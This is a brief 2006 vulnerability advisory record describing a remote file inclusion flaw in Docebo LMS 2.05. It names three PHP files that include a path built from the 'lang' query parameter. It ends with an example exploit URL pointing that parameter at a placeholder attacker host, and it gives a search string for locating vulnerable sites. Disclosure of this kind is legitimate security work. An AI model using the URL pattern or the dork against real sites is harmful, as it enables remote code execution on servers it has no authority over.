Docebo LMS 2.05 Remote File Include

2006-05-27T00:00:00
ID SECURITYVULNS:DOC:12838
Type securityvulns
Reporter Securityvulns
Modified 2006-05-27T00:00:00

Description

Vulnerable Script: Docebo LMS 2.05 Discovered: beford <xbefordx gmail com>

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php => include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php => include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');

http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?